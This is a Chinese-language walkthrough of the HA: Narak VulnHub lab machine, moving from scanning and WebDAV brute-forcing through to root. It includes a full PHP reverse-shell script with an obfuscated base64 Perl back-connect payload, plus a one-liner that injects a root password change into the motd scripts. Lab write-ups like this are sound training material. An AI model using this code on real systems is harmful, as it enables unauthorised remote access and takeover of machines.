靶机网址：https://www.vulnhub.com/entry/ha-narak,569/

目录

一、信息搜集：

二、漏洞利用与探测：

三、提权

---

一、信息搜集：

1. 获取IP：

nmap -sP 192.168.8.0/24  

1. 端口扫描：

nmap -sV -p- -sC 192.168.8.132 -n -vv

22、80端口均开启

1. 访问192.168.8.132

从页面搜索信息

·

翻译了一下网页内容信息提取关键字或许有用： yamdoot,swarm,narak

1. 目录扫描：

gobuster dir -q -u http://192.168.8.132 -w /usr/share/seclists/Discovery/Web-Content/common.txt

注意到/webdav

访问该目录

用上边关键字随便输入尝试登录也没用

1. 尝试爆破获取密码

先爬取密码文件

cewl 192.168.8.132 -w passwd1.txt 

再用hydra爆破以下

账号密码：yamdoot, Swarg

再尝试登陆下：

1. 无可用信息，查看下源代码：

意思是服务器无法验证我是否有权访问该文档，或者密码或者证书的问题

1. 查找关于webdav的漏洞文章

用Metasploits模块检查是否启用了webdav

使用 ：auxiliary/scanner/http/webdav_scanner

设置参数：

将路径改为 /dav,这是webdav常用目录

设置目标IP地址

run启动模块

扫描结果：

http信息，包括apache版本，是否启用webdav

显然结果是没开启，所以这条路行不通

1. 再搜索关于webdav（可以上传文件）:

WebDAV （Web-based Distributed Authoring and Versioning） 一种基于 HTTP 1.1协议的通信协议。它扩展了HTTP 1.1，在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法，使应用程序可对Web Server直接读写，并支持写文件锁定(Locking)及解锁(Unlock)，还可以支持文件的版本控制

所以进一步可以实行上传一个反链接脚本

二、漏洞利用与探测：

1. 查找到cadaver可以对webdav进行读写

上传一个php的反链脚本

代码如下（更改IP和端口）：

<?php

function which($pr) {

$path = execute("which $pr");

return ($path ? $path : $pr);

}

function execute($cfe) {

$res = '';

if ($cfe) {

if(function_exists('exec')) {

@exec($cfe,$res);

$res = join("\n",$res);

} elseif(function_exists('shell_exec')) {

$res = @shell_exec($cfe);

} elseif(function_exists('system')) {

@ob_start();

@system($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(function_exists('passthru')) {

@ob_start();

@passthru($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(@is_resource($f = @popen($cfe,"r"))) {

$res = '';

while(!@feof($f)) {

$res .= @fread($f,1024);

}

@pclose($f);

}

}

return $res;

}

function cf($fname,$text){

if($fp=@fopen($fname,'w')) {

@fputs($fp,@base64_decode($text));

@fclose($fp);

}

}

$yourip = "your IP";

$yourport = 'your port';

$usedb = array('perl'=>'perl','c'=>'c');

$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".

"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".

"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".

"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".

"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".

"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".

"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";

cf('/tmp/.bc',$back_connect);

$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");

?>

1. 上传shell

cadaver http://192.168.8.132/webdav

username：yamdoot

password:Swarg

再kali另一个终端开启监听，网页访问192.168.8.132/webdav

已上传

再去访问shell.php

1. 建立交互式shell

kali监听到结果：

python3 -c 'import pty;pty.spawn("/bin/bash")'

当前权限不是最高权限，还需要进一步提权

搜索信息

搜索到一串字符，搜索下Brainfuck可解码

                得到明文密码：chitragupt

猜想用户名应该是 inferno narak 中一个

三、提权

1. 先尝试inferno登录l连接ssh

连接成功

搜集信息

1. 利用了motd，通过修改ssh登陆时的欢迎信息对root密码进行修改：

echo "echo 'root:inferno'|sudo chpasswd" >> /etc/update-motd.d/00-header

退出后重新用inferno登录

su -root

成功获取root权限：